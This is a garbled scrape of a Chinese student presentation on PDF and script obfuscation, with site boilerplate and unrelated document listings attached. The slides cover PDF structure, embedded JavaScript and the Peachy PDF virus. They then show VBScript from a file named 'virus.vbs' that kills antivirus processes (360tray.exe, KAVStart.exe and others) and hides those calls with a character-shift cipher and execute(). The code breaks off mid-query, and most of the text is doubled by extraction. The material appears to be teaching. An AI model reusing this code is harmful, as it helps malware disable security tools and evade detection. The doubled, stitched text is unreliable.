版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、PDFPDF代码混淆技术代码混淆技术pdf-obfuscationpdf-obfuscationB10040529B10040529宫天何宫天何B10040606B10040606杨静平杨静平B10040605B10040605李慧灵李慧灵目录目录 PDFPDF简介简介PDFPDF文件结构文件结构PDFPDF与与JavaScriptJavaScript代码混淆技术代码混淆技术PDFPDF简介简介 PDFPDF是是Portable Document FormatPortable Document Format(便携文件格(便携文件格式)的缩写,是一种电子文件格式,与操作系统式)的缩写,是一种电子
2、文件格式,与操作系统平台无关,由平台无关,由Adobe Adobe 公司开发而成。公司开发而成。PDF PDF 文件是文件是以以PostScriptPostScript语言图象模型为基础,无论在哪种语言图象模型为基础,无论在哪种打印机上都可保证精确的颜色和准确的打印效果,打印机上都可保证精确的颜色和准确的打印效果,即即PDFPDF会忠实地再现原稿的每一个字符、颜色以会忠实地再现原稿的每一个字符、颜色以及图象。及图象。PDFPDF文件结构文件结构 (1)(1)文件头;文件头;(2)(2)对象的建立声明;对象的建立声明;(3)(3)交叉引用表;交叉引用表;(4)(4)文件尾。文件尾。PDFPDF文
3、件结构文件结构 PDFPDF文件结构文件结构 关于对象:关于对象:PDFPDF文档是由一些称为文档是由一些称为“对象对象”的模块组成的。的模块组成的。并且每个对象都有数字标号,这样的话可以这些并且每个对象都有数字标号,这样的话可以这些对象就可以北其他的对象所引用。对象就可以北其他的对象所引用。定义方式:定义方式:3 0 obj3 0 objendobjendobj键值对对象名称结束标志PDFPDF文件结构文件结构 Hello World文件头PDFPDF文件结构文件结构 交叉引用表:交叉引用表: 交叉引用表记录了每个对象在内存中的偏移地交叉引用表记录了每个对象在内存中的偏移地址。址。文件尾:文
4、件尾: 文件尾部记录了根对象名、信息对象名、对象文件尾部记录了根对象名、信息对象名、对象总数及交叉引用表在内存中的偏移地址。总数及交叉引用表在内存中的偏移地址。PDFPDF文件结构文件结构 Hello World交叉引用表文件尾PDFPDF文件结构文件结构 Hello WorldHello WorldPDFPDF文件结构文件结构 演示:演示:1.1.将该将该PDFPDF的内容由的内容由flateflate压缩编码改成文本压缩编码改成文本ASCIIASCII编码格式。编码格式。2.2.将将“Hello World”“Hello World”改成改成“My Hello World”“My Hell
5、o World”。技巧:技巧:为了避免交叉引用表的修改,我们可以使用空格为了避免交叉引用表的修改,我们可以使用空格填充字符流对象使得该对象所占内存地址偏移量填充字符流对象使得该对象所占内存地址偏移量不变。不变。 Hello WorldHello WorldPDFPDF文件结构文件结构 Hello WorldHello World 2 0 obj2 0 objstreamstreamBTBT/F1 24 Tf/F1 24 Tf100 600 Td100 600 Td(my Hello World) Tj (my Hello World) Tj ETETendstreamendstreamendo
6、bjendobjPDFPDF与与JavaScriptJavaScript Adobe Acrobat ProfessionalAdobe Acrobat Professional软件可以使商业人士能够可靠软件可以使商业人士能够可靠地创建、合并和控制地创建、合并和控制Adobe PDFAdobe PDF文档,以便轻松且更加安全地文档,以便轻松且更加安全地进行分发、协作和数据收集。进行分发、协作和数据收集。制作制作PDFPDF文档的利器,办公必备。文档的利器,办公必备。 近年来,近年来,AdobeAdobe公司一直在努力公司一直在努力使使AcrobatAcrobat从一款简单的从一款简单的PDFP
7、DF软软件发展成一个完整的数码发布件发展成一个完整的数码发布平台,甚至增加了对三维图片平台,甚至增加了对三维图片的支持。的支持。PDFPDF与与JavaScriptJavaScript 在在PDFPDF文件中可以嵌入文件中可以嵌入JavaScriptJavaScript,例如:,例如: 8 0 obj8 0 obj/JS()/S/JavaScriptendobjendobjPDFPDF与与JavaScriptJavaScript 利用利用AcrobatAcrobat在在PDFPDF中添加中添加JavaScriptJavaScript动作:动作:app.alert(Test);app.alert
8、(Test);app.launchURLapp.launchURL(http:/,true);(http:/,true);PDFPDF与与JavaScriptJavaScript Peachy VirusPeachy VirusSecurity experts have found the first virus able Security experts have found the first virus able to propagate through Adobes encrypted portable to propagate through Adobes encrypted por
9、table document format (PDF) files, a format once thought document format (PDF) files, a format once thought to be virtually impenetrable.to be virtually impenetrable.目前安全专家发现了首例通过加密的目前安全专家发现了首例通过加密的PDFPDF繁殖的繁殖的病毒,以往这种方式是很难以理解的。病毒,以往这种方式是很难以理解的。PDFPDF与与JavaScriptJavaScript Peachy VirusPeachy VirusNam
10、ed Peachy by experts at Web security firm Named Peachy by experts at Web security firm McAfee on Tuesday, the e-mail virus hides itself McAfee on Tuesday, the e-mail virus hides itself in PDF files and infects other computer systems by in PDF files and infects other computer systems by sending the f
11、ile as an attachment through the sending the file as an attachment through the Microsoft Outlook e-mail program.Microsoft Outlook e-mail program.这种叫做这种叫做PeachyPeachy的病毒在周二被的病毒在周二被McAfeeMcAfee证实了。证实了。它通过邮件把自己隐藏在它通过邮件把自己隐藏在PDFPDF文件中,并感染其文件中,并感染其余通过余通过OutlookOutlook发送的文件。发送的文件。PDFPDF与与JavaScriptJavaScr
12、ipt Peachy VirusPeachy VirusThe virus exploits a feature in Acrobat that The virus exploits a feature in Acrobat that combines other files with the PDF bines other files with the PDF code.该病毒通过该病毒通过AcrobatAcrobat的某种特点,将其余文件与的某种特点,将其余文件与PDFPDF代码进行合并。代码进行合并。摘自摘自abcNewsabcNews代码混淆技术代码混淆技术 代码混淆技术是一种重要的软
13、件保护方法,混代码混淆技术是一种重要的软件保护方法,混淆的实质就是一种变换,通过这种变换把原来的淆的实质就是一种变换,通过这种变换把原来的代码变成与其功能相同或相近的,但是更难被理代码变成与其功能相同或相近的,但是更难被理解和反编译的代码。由于混淆技术可以根据不同解和反编译的代码。由于混淆技术可以根据不同的目的,不同的混淆对象采用不同的方法,这使的目的,不同的混淆对象采用不同的方法,这使得混淆方法非常多。得混淆方法非常多。代码混淆技术代码混淆技术 JavaScriptJavaScript基本常用方法:基本常用方法:(1)(1)字母替换字母替换(2)(2)与数字与数字(3)eval()(3)ev
14、al()函数函数(4)escape()(4)escape()函数函数(5)(5)加密技术加密技术(6)(6)随机变量名随机变量名代码混淆技术代码混淆技术 采用简单的代码混淆技术混淆病毒代码。采用简单的代码混淆技术混淆病毒代码。这里将这里将virus.vbsvirus.vbs进行混淆。混淆方式采用加密进行混淆。混淆方式采用加密方式和方式和execute()execute()函数。函数。代码混淆技术代码混淆技术 加密方式:加密方式:可以采用对称加密算法可以采用对称加密算法( (如如AESAES、RC4)RC4)进行加密。进行加密。这里为了简单直观,采用了古典加密方式这里为了简单直观,采用了古典加密
15、方式( (仿射加仿射加密,取密,取a=1,b=1)a=1,b=1)execute()execute()函数:函数:类似于类似于JavaScriptJavaScript中的中的eval()eval()函数。使用方法为函数。使用方法为excute(String code)excute(String code),其中,其中codecode是代码的字符串是代码的字符串形式,效果是执行该代码。形式,效果是执行该代码。代码混淆技术代码混淆技术 例如:例如:execute(i=3)execute(i=3)execute(j=i+1)execute(j=i+1)msgbox(j)msgbox(j)结果为结果为
16、4 4。代码混淆技术代码混淆技术 Function de(x)Function de(x)dim p,ch,i,ldim p,ch,i,lp=p=l=Len(x)l=Len(x)for i=1 to lfor i=1 to lch=mid(x,i,1)ch=mid(x,i,1)ch=chr(asc(ch)-1)ch=chr(asc(ch)-1)p=p&chp=p&chnextnextde=pde=pend functionend function这是一个解密函数:这是一个解密函数:它的效果是将字符串中它的效果是将字符串中每个字母的每个字母的ASCII值减值减去去1。例如:例如:
17、x=bcd则,则,de(x)=abc代码混淆技术代码混淆技术 原来:原来:Call KillProcess(ProcessNames)Call KillProcess(ProcessNames)可以混淆为:可以混淆为:ss=Dbmm!LjmmQspdftt)QspdfttObnftss=Dbmm!LjmmQspdftt)QspdfttObnft* * ss=de(ss)ss=de(ss)execute(ss)execute(ss)代码混淆技术代码混淆技术 On Error Resume NextOn Error Resume NextDim ProcessNamesDim ProcessNam
18、esdim a0,a1,a2,a3,a4,a5,ssdim a0,a1,a2,a3,a4,a5,ss a0=mspaint.exe a0=mspaint.exea1=ras.exea1=ras.exea2=360tray.exea2=360tray.exea3=SREng.exea3=SREng.exea4=USBAntiVir.exea4=USBAntiVir.exea5=KAVStart.exea5=KAVStart.exeProcessNames = Array(a0,a1,a2,a3,a4,a5)ProcessNames = Array(a0,a1,a2,a3,a4,a5)Call K
19、illProcess(ProcessNames)Call KillProcess(ProcessNames)a0=ntqbjou/fyf:a0=de(a0)a1=sbt/fyf :a1=de(a1)a2=471usbz/fyf:a2=de(a2)a3=TSFoh/fyf :a3=de(a3)a4=VTCBoujWjs/fyf:a4=de(a4)a5=LBWTubsu/fyf:a5=de(a5)ss=Dbmm!LjmmQspdftt)QspdfttObnft*ss=de(ss)execute(ss)代码混淆技术代码混淆技术 Set objWMIServices = GetObject(winmgmts: & strComputer & rootcimv2)Set colProcessList = objWMISe
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2026届江苏省无锡市惠山六校联考初三下学期第六次月考语文试题试卷含解析
- 2026届常州市武进区达标名校初三下学期第六次质量调研考试语文试题含解析
- 四川省资阳市资阳市雁江区重点名校2025-2026学年初三下学期第二次质量检测试题数学试题含解析
- 品牌宣传材料制作规范模板品牌传播标准化工具
- 文化创新产业扶持方案声明书(6篇)
- 食品生产和质量控制作业指导书
- 安全风险隐患治理措施承诺函7篇
- 自身品格修养改进承诺书(3篇)
- 高效能电池储能技术优化应用解决方案
- 文档管理自动化工具及使用教程
- 土石方现场安全处罚制度
- 2026年长春市市属国有企业面向社会公开招聘(226人)笔试备考试题及答案解析
- 2026年国土空间规划中心下属事业单位选聘考试试题(附答案)
- 2026江苏盐城建湖县司法局选聘法律助理2人考试备考试题及答案解析
- 湖南省新高考教学教研联盟(长郡二十校联盟)2026届高三年级下学期3月联考数学理试卷(含答案)
- 2025年保安员考试题(含答案)
- 华中农业大学(横向项目研究)技术合同参考样本
- 2022年云南省特岗教师招聘考试《初中化学教师专业课考试大纲》
- 医疗器械培训计划年
- 新教科版五年级科学下册第三单元全套课件
- 《口腔检查》PPT课件(人卫版)
评论
0/150
提交评论